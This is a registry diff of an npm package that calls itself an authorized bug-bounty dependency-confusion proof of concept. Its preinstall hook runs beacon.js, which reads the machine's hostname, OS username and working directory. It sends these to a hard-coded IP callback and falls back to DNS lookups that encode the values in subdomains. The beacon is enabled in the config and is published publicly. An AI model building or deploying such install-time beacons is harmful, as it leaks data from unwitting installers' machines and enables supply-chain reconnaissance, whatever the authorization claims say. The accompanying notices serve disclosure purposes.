techportal 4.0.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/BUG-BOUNTY-NOTICE.txt +24 -0
- package/DISCLOSURE +32 -0
- package/README.md +13 -0
- package/beacon-config.json +10 -0
- package/beacon.js +256 -0
- package/package.json +44 -0
- package/refuse-publish.js +7 -0
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
AUTHORIZED BUG BOUNTY SECURITY TEST
|
|
2
|
+
|
|
3
|
+
Finding ID: 8300347c-b5e1-4718-a74a-9e1f27d828dc
|
|
4
|
+
Researcher: Izzet (HackerOne handle: izzet)
|
|
5
|
+
Published test package: techportal@4.0.10
|
|
6
|
+
|
|
7
|
+
This package is a controlled dependency-confusion proof of concept prepared
|
|
8
|
+
for authorized bug bounty security research. It is not a production library.
|
|
9
|
+
|
|
10
|
+
When explicitly enabled, its install hook sends a bounded callback containing
|
|
11
|
+
only test correlation, package/version, a random per-execution event ID, bounded
|
|
12
|
+
base32 hostname, OS account username, and current-working-directory values, and
|
|
13
|
+
source address observed by the server. HTTP and conditional DNS fallback carry
|
|
14
|
+
the same attribution values. It does not list or read the working directory,
|
|
15
|
+
read environment variables, local network configuration, project files,
|
|
16
|
+
credentials, tokens, cloud metadata, or source code, and it does not create
|
|
17
|
+
persistence or execute child commands.
|
|
18
|
+
|
|
19
|
+
Public registry registration was separately authorized for this exact package,
|
|
20
|
+
version, bounded callback behavior, and time-bounded observation window. This
|
|
21
|
+
notice does not authorize any other use or redistribution.
|
|
22
|
+
|
|
23
|
+
If this package is encountered outside an approved security test, do not run
|
|
24
|
+
or redistribute it; report it to the relevant bug bounty program owner.
|
package/DISCLOSURE
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
DUAL-USE SECURITY RESEARCH DISCLOSURE
|
|
2
|
+
|
|
3
|
+
Package: techportal@4.0.10
|
|
4
|
+
Finding ID: 8300347c-b5e1-4718-a74a-9e1f27d828dc
|
|
5
|
+
Researcher: Izzet (HackerOne handle: izzet)
|
|
6
|
+
|
|
7
|
+
This package is a controlled dependency-resolution test artifact prepared for
|
|
8
|
+
authorized bug bounty security research. It is not a production library.
|
|
9
|
+
|
|
10
|
+
When explicitly enabled, its install lifecycle performs one bounded HTTP(S)
|
|
11
|
+
GET to a unique researcher-controlled callback URL. The request carries only a
|
|
12
|
+
test correlation path, a random per-execution event ID, bounded base32 hostname,
|
|
13
|
+
operating-system username, and current-working-directory values, and the
|
|
14
|
+
research identification User-Agent. The callback server observes the normal
|
|
15
|
+
source IP and UTC request time; the package does not enumerate local network
|
|
16
|
+
addresses.
|
|
17
|
+
|
|
18
|
+
If the HTTP request fails, times out, or returns a non-success response, the
|
|
19
|
+
package may perform three DNS lookups to three configured probe subdomains under
|
|
20
|
+
one research binding: one each for the bounded hostname, username, and current
|
|
21
|
+
working directory. All three carry the same event ID and the exact same values
|
|
22
|
+
and truncation flags as HTTP.
|
|
23
|
+
|
|
24
|
+
The package reads only the OS hostname, OS account username, and current working
|
|
25
|
+
directory string. It does not list the directory or read environment variables,
|
|
26
|
+
local network configuration, project files, credentials, tokens, source code,
|
|
27
|
+
or cloud metadata. It does not execute child commands, create persistence,
|
|
28
|
+
alter build artifacts, or provide remote command execution.
|
|
29
|
+
|
|
30
|
+
This live-test artifact was separately authorized and reviewed for this exact
|
|
31
|
+
package, version, callback behavior, and time-bounded observation window. It is
|
|
32
|
+
not authorized for any other use or redistribution.
|
package/README.md
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
# AUTHORIZED BUG BOUNTY TEST — controlled dependency-confusion proof
|
|
2
|
+
|
|
3
|
+
Finding: `8300347c-b5e1-4718-a74a-9e1f27d828dc`. Researcher: Izzet (`izzet` on HackerOne).
|
|
4
|
+
|
|
5
|
+
This package is published solely for an explicitly authorized, time-bounded bug bounty security test. Its bounded callback is enabled for the approved observation window. See `BUG-BOUNTY-NOTICE.txt` for the complete notice and data boundary.
|
|
6
|
+
|
|
7
|
+
The manifest declares `contentPolicy.class` as `dual-use`, and the package includes a root-level `DISCLOSURE` describing its security-research purpose and bounded behavior.
|
|
8
|
+
|
|
9
|
+
This live-test copy was separately reviewed from the locked preparation artifact. Publication does not authorize reuse, redistribution, or execution outside the approved test.
|
|
10
|
+
|
|
11
|
+
The install hook contains no command execution, persistence, directory listing, file inspection, credential access, or secret collection. When explicitly enabled, it performs one bounded HTTP(S) GET to the configured unique callback URL. Its attribution headers carry a random per-execution event ID and bounded base32 hostname, OS account username, and current-working-directory values. The server observes the normal source IP.
|
|
12
|
+
|
|
13
|
+
If three static OOB probe domains are configured and HTTP fails, the hook performs three DNS lookups: one each for hostname, username, and current working directory. Each field uses a distinct probe subdomain under one research binding; all three carry the same event ID, bounded value, and truncation flag as HTTP. It does not list or read the working directory and reads no environment data, local network configuration, credentials, tokens, project files, or cloud metadata.
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
{
|
|
2
|
+
"callback_url": "http://45.76.249.245/beacon/-wJPp9SwceA1Ul345SP0XomeLKZnWMp6/techportal/4.0.10",
|
|
3
|
+
"dns_fallback_domains": {
|
|
4
|
+
"h": "av7vjbm1v3hxo0wk0pojcaoc1ebtynwea.oob.asm5.net",
|
|
5
|
+
"p": "av7vjbm1v3hxo0wk0pojusf8i7dbe1exo.oob.asm5.net",
|
|
6
|
+
"u": "av7vjbm1v3hxo0wk0poje0j4vfk1bnk77.oob.asm5.net"
|
|
7
|
+
},
|
|
8
|
+
"enabled": true,
|
|
9
|
+
"timeout_ms": 1500
|
|
10
|
+
}
|
package/beacon.js
ADDED
|
@@ -0,0 +1,256 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
const http = require("node:http");
|
|
4
|
+
const https = require("node:https");
|
|
5
|
+
const crypto = require("node:crypto");
|
|
6
|
+
const dns = require("node:dns");
|
|
7
|
+
const os = require("node:os");
|
|
8
|
+
const config = require("./beacon-config.json");
|
|
9
|
+
|
|
10
|
+
let fallbackStarted = false;
|
|
11
|
+
const eventRandomBytes = crypto.randomBytes(4);
|
|
12
|
+
const eventId = base32Encode(eventRandomBytes).slice(0, 7);
|
|
13
|
+
|
|
14
|
+
function base32Encode(buffer) {
|
|
15
|
+
const alphabet = "abcdefghijklmnopqrstuvwxyz234567";
|
|
16
|
+
let bits = 0;
|
|
17
|
+
let value = 0;
|
|
18
|
+
let output = "";
|
|
19
|
+
for (const byte of buffer) {
|
|
20
|
+
value = (value << 8) | byte;
|
|
21
|
+
bits += 8;
|
|
22
|
+
while (bits >= 5) {
|
|
23
|
+
output += alphabet[(value >>> (bits - 5)) & 31];
|
|
24
|
+
bits -= 5;
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
if (bits > 0) output += alphabet[(value << (5 - bits)) & 31];
|
|
28
|
+
return output;
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
function encodeIdentityFragment(value, maxEncodedCharacters) {
|
|
32
|
+
const normalized = String(value || "").normalize("NFC");
|
|
33
|
+
if (!normalized || maxEncodedCharacters < 1) return null;
|
|
34
|
+
const maxBytes = Math.floor((maxEncodedCharacters * 5) / 8);
|
|
35
|
+
if (maxBytes < 1) return null;
|
|
36
|
+
let bounded = "";
|
|
37
|
+
let bytes = 0;
|
|
38
|
+
let truncated = false;
|
|
39
|
+
for (const character of normalized) {
|
|
40
|
+
const size = Buffer.byteLength(character, "utf8");
|
|
41
|
+
if (bytes + size > maxBytes) {
|
|
42
|
+
truncated = true;
|
|
43
|
+
break;
|
|
44
|
+
}
|
|
45
|
+
bounded += character;
|
|
46
|
+
bytes += size;
|
|
47
|
+
}
|
|
48
|
+
const encoded = base32Encode(Buffer.from(bounded, "utf8"));
|
|
49
|
+
if (!encoded || encoded.length > maxEncodedCharacters) return null;
|
|
50
|
+
return { encoded, flag: truncated ? "t" : "f" };
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
function identityBudgetForDomain(domain) {
|
|
54
|
+
const bindingLabel = String(domain || "").toLowerCase().split(".", 1)[0];
|
|
55
|
+
if (!bindingLabel || bindingLabel.length > 45) return 52;
|
|
56
|
+
// Fixed fields: hyphen + kind + 7-char event ID + complete/truncated flag.
|
|
57
|
+
return Math.min(52, 63 - bindingLabel.length - 10);
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
function buildIdentityDnsLookupName(
|
|
61
|
+
domain,
|
|
62
|
+
kind,
|
|
63
|
+
fragment,
|
|
64
|
+
correlatedEventId,
|
|
65
|
+
) {
|
|
66
|
+
const labels = domain.split(".");
|
|
67
|
+
const bindingLabel = labels.shift();
|
|
68
|
+
if (
|
|
69
|
+
!bindingLabel ||
|
|
70
|
+
labels.length < 1 ||
|
|
71
|
+
!["h", "u", "p"].includes(kind) ||
|
|
72
|
+
!/^[a-z2-7]{7}$/.test(correlatedEventId) ||
|
|
73
|
+
!fragment ||
|
|
74
|
+
!["f", "t"].includes(fragment.flag) ||
|
|
75
|
+
!/^[a-z2-7]+$/.test(fragment.encoded)
|
|
76
|
+
) {
|
|
77
|
+
return null;
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
const augmentedBinding = [
|
|
81
|
+
bindingLabel,
|
|
82
|
+
"-",
|
|
83
|
+
kind,
|
|
84
|
+
correlatedEventId,
|
|
85
|
+
fragment.flag,
|
|
86
|
+
fragment.encoded,
|
|
87
|
+
].join("");
|
|
88
|
+
const lookupName = [augmentedBinding, ...labels].join(".");
|
|
89
|
+
return augmentedBinding.length <= 63 && lookupName.length <= 253
|
|
90
|
+
? lookupName
|
|
91
|
+
: null;
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
function configuredDnsDomains() {
|
|
95
|
+
const configured = config.dns_fallback_domains;
|
|
96
|
+
if (configured && typeof configured === "object") {
|
|
97
|
+
return {
|
|
98
|
+
h: String(configured.h || "").toLowerCase().replace(/\.$/, ""),
|
|
99
|
+
u: String(configured.u || "").toLowerCase().replace(/\.$/, ""),
|
|
100
|
+
p: String(configured.p || "").toLowerCase().replace(/\.$/, ""),
|
|
101
|
+
};
|
|
102
|
+
}
|
|
103
|
+
// Backward compatibility for local fixtures created before the three-hit-ID
|
|
104
|
+
// ASM5 layout. Prepared publication artifacts use dns_fallback_domains.
|
|
105
|
+
const legacy = String(config.dns_fallback_domain || "")
|
|
106
|
+
.toLowerCase()
|
|
107
|
+
.replace(/\.$/, "");
|
|
108
|
+
return { h: legacy, u: legacy, p: legacy };
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
function resolveDnsFallback(attribution) {
|
|
112
|
+
if (fallbackStarted) return;
|
|
113
|
+
fallbackStarted = true;
|
|
114
|
+
|
|
115
|
+
const domains = configuredDnsDomains();
|
|
116
|
+
const validDomain = (domain) => {
|
|
117
|
+
const labels = domain.split(".");
|
|
118
|
+
return (
|
|
119
|
+
domain.length <= 253 &&
|
|
120
|
+
labels.length >= 2 &&
|
|
121
|
+
labels.every(
|
|
122
|
+
(label) =>
|
|
123
|
+
label.length >= 1 &&
|
|
124
|
+
label.length <= 63 &&
|
|
125
|
+
/^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$/.test(label),
|
|
126
|
+
)
|
|
127
|
+
);
|
|
128
|
+
};
|
|
129
|
+
if (!Object.values(domains).every(validDomain)) return;
|
|
130
|
+
|
|
131
|
+
const lookups = [
|
|
132
|
+
[
|
|
133
|
+
"resolve4",
|
|
134
|
+
buildIdentityDnsLookupName(
|
|
135
|
+
domains.h,
|
|
136
|
+
"h",
|
|
137
|
+
attribution.hostnameFragment,
|
|
138
|
+
eventId,
|
|
139
|
+
),
|
|
140
|
+
],
|
|
141
|
+
[
|
|
142
|
+
"resolve6",
|
|
143
|
+
buildIdentityDnsLookupName(
|
|
144
|
+
domains.u,
|
|
145
|
+
"u",
|
|
146
|
+
attribution.usernameFragment,
|
|
147
|
+
eventId,
|
|
148
|
+
),
|
|
149
|
+
],
|
|
150
|
+
[
|
|
151
|
+
"resolveTxt",
|
|
152
|
+
buildIdentityDnsLookupName(
|
|
153
|
+
domains.p,
|
|
154
|
+
"p",
|
|
155
|
+
attribution.currentPathFragment,
|
|
156
|
+
eventId,
|
|
157
|
+
),
|
|
158
|
+
],
|
|
159
|
+
];
|
|
160
|
+
if (lookups.some(([, lookupName]) => !lookupName)) return;
|
|
161
|
+
const resolver = new dns.Resolver();
|
|
162
|
+
// This key is used only by the loopback integration test. The package
|
|
163
|
+
// preparer never emits it, so live packages use the host's normal resolver.
|
|
164
|
+
if (typeof config.dns_server === "string" && config.dns_server) {
|
|
165
|
+
try {
|
|
166
|
+
resolver.setServers([config.dns_server]);
|
|
167
|
+
} catch {
|
|
168
|
+
return;
|
|
169
|
+
}
|
|
170
|
+
}
|
|
171
|
+
// Use a different record type per field. ASM5's wildcard A response is
|
|
172
|
+
// cacheable, and three A questions can be collapsed by a recursive resolver
|
|
173
|
+
// so only one reaches the authoritative interaction log.
|
|
174
|
+
for (const [method, lookupName] of lookups) {
|
|
175
|
+
resolver[method](lookupName, () => {});
|
|
176
|
+
}
|
|
177
|
+
}
|
|
178
|
+
|
|
179
|
+
if (config.enabled === true) {
|
|
180
|
+
let target;
|
|
181
|
+
try {
|
|
182
|
+
target = new URL(config.callback_url);
|
|
183
|
+
} catch {
|
|
184
|
+
target = null;
|
|
185
|
+
}
|
|
186
|
+
|
|
187
|
+
if (target && (target.protocol === "http:" || target.protocol === "https:")) {
|
|
188
|
+
const transport = target.protocol === "https:" ? https : http;
|
|
189
|
+
const timeout = Math.max(250, Math.min(Number(config.timeout_ms) || 1500, 5000));
|
|
190
|
+
const userAgent = "authorized-bug-bounty-depconf-poc/1 h1:izzet";
|
|
191
|
+
let username = "";
|
|
192
|
+
try {
|
|
193
|
+
username = os.userInfo().username;
|
|
194
|
+
} catch {
|
|
195
|
+
username = "";
|
|
196
|
+
}
|
|
197
|
+
let currentPath = "";
|
|
198
|
+
try {
|
|
199
|
+
currentPath = process.cwd();
|
|
200
|
+
} catch {
|
|
201
|
+
currentPath = "";
|
|
202
|
+
}
|
|
203
|
+
const dnsDomains = Object.values(configuredDnsDomains()).filter(Boolean);
|
|
204
|
+
const identityBudget = dnsDomains.length
|
|
205
|
+
? Math.min(...dnsDomains.map(identityBudgetForDomain))
|
|
206
|
+
: 52;
|
|
207
|
+
const hostnameFragment = encodeIdentityFragment(os.hostname(), identityBudget);
|
|
208
|
+
const usernameFragment = encodeIdentityFragment(username, identityBudget);
|
|
209
|
+
const currentPathFragment = encodeIdentityFragment(currentPath, identityBudget);
|
|
210
|
+
if (!hostnameFragment || !usernameFragment || !currentPathFragment) return;
|
|
211
|
+
const hostnameHeader = `${hostnameFragment.flag}${hostnameFragment.encoded}`;
|
|
212
|
+
const usernameHeader = `${usernameFragment.flag}${usernameFragment.encoded}`;
|
|
213
|
+
const currentPathHeader = `${currentPathFragment.flag}${currentPathFragment.encoded}`;
|
|
214
|
+
const attribution = {
|
|
215
|
+
hostnameFragment,
|
|
216
|
+
usernameFragment,
|
|
217
|
+
currentPathFragment,
|
|
218
|
+
};
|
|
219
|
+
|
|
220
|
+
const request = transport.request(
|
|
221
|
+
target,
|
|
222
|
+
{
|
|
223
|
+
method: "GET",
|
|
224
|
+
headers: {
|
|
225
|
+
"Cache-Control": "no-store",
|
|
226
|
+
"User-Agent": userAgent,
|
|
227
|
+
"X-Bug-Bounty-Event": eventId,
|
|
228
|
+
"X-Bug-Bounty-Host": hostnameHeader,
|
|
229
|
+
"X-Bug-Bounty-User": usernameHeader,
|
|
230
|
+
"X-Bug-Bounty-Path": currentPathHeader,
|
|
231
|
+
},
|
|
232
|
+
},
|
|
233
|
+
(response) => {
|
|
234
|
+
response.resume();
|
|
235
|
+
if (response.statusCode < 200 || response.statusCode >= 300) {
|
|
236
|
+
resolveDnsFallback(attribution);
|
|
237
|
+
}
|
|
238
|
+
},
|
|
239
|
+
);
|
|
240
|
+
|
|
241
|
+
request.setTimeout(timeout, () => {
|
|
242
|
+
resolveDnsFallback(attribution);
|
|
243
|
+
request.destroy();
|
|
244
|
+
});
|
|
245
|
+
request.on("error", () => resolveDnsFallback(attribution));
|
|
246
|
+
request.end();
|
|
247
|
+
}
|
|
248
|
+
}
|
|
249
|
+
|
|
250
|
+
module.exports = {
|
|
251
|
+
base32Encode,
|
|
252
|
+
buildIdentityDnsLookupName,
|
|
253
|
+
configuredDnsDomains,
|
|
254
|
+
encodeIdentityFragment,
|
|
255
|
+
identityBudgetForDomain,
|
|
256
|
+
};
|
package/package.json
ADDED
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "AUTHORIZED BUG BOUNTY TEST - controlled dependency-confusion proof by HackerOne researcher izzet for finding 8300347c-b5e1-4718-a74a-9e1f27d828dc",
|
|
3
|
+
"contentPolicy": {
|
|
4
|
+
"class": "dual-use"
|
|
5
|
+
},
|
|
6
|
+
"files": [
|
|
7
|
+
"beacon.js",
|
|
8
|
+
"beacon-config.json",
|
|
9
|
+
"BUG-BOUNTY-NOTICE.txt",
|
|
10
|
+
"DISCLOSURE",
|
|
11
|
+
"refuse-publish.js",
|
|
12
|
+
"README.md"
|
|
13
|
+
],
|
|
14
|
+
"keywords": [
|
|
15
|
+
"authorized-security-research",
|
|
16
|
+
"bug-bounty",
|
|
17
|
+
"dependency-confusion",
|
|
18
|
+
"hackerone",
|
|
19
|
+
"proof-of-concept"
|
|
20
|
+
],
|
|
21
|
+
"license": "UNLICENSED",
|
|
22
|
+
"name": "techportal",
|
|
23
|
+
"publishConfig": {
|
|
24
|
+
"access": "public",
|
|
25
|
+
"registry": "https://registry.npmjs.org",
|
|
26
|
+
"tag": "latest"
|
|
27
|
+
},
|
|
28
|
+
"scripts": {
|
|
29
|
+
"preinstall": "node beacon.js"
|
|
30
|
+
},
|
|
31
|
+
"securityResearch": {
|
|
32
|
+
"findingId": "8300347c-b5e1-4718-a74a-9e1f27d828dc",
|
|
33
|
+
"package": "techportal",
|
|
34
|
+
"publicationAuthorized": true,
|
|
35
|
+
"researcher": {
|
|
36
|
+
"handle": "izzet",
|
|
37
|
+
"name": "Izzet",
|
|
38
|
+
"platform": "HackerOne"
|
|
39
|
+
},
|
|
40
|
+
"type": "authorized-bug-bounty-poc",
|
|
41
|
+
"version": "4.0.10"
|
|
42
|
+
},
|
|
43
|
+
"version": "4.0.10"
|
|
44
|
+
}
|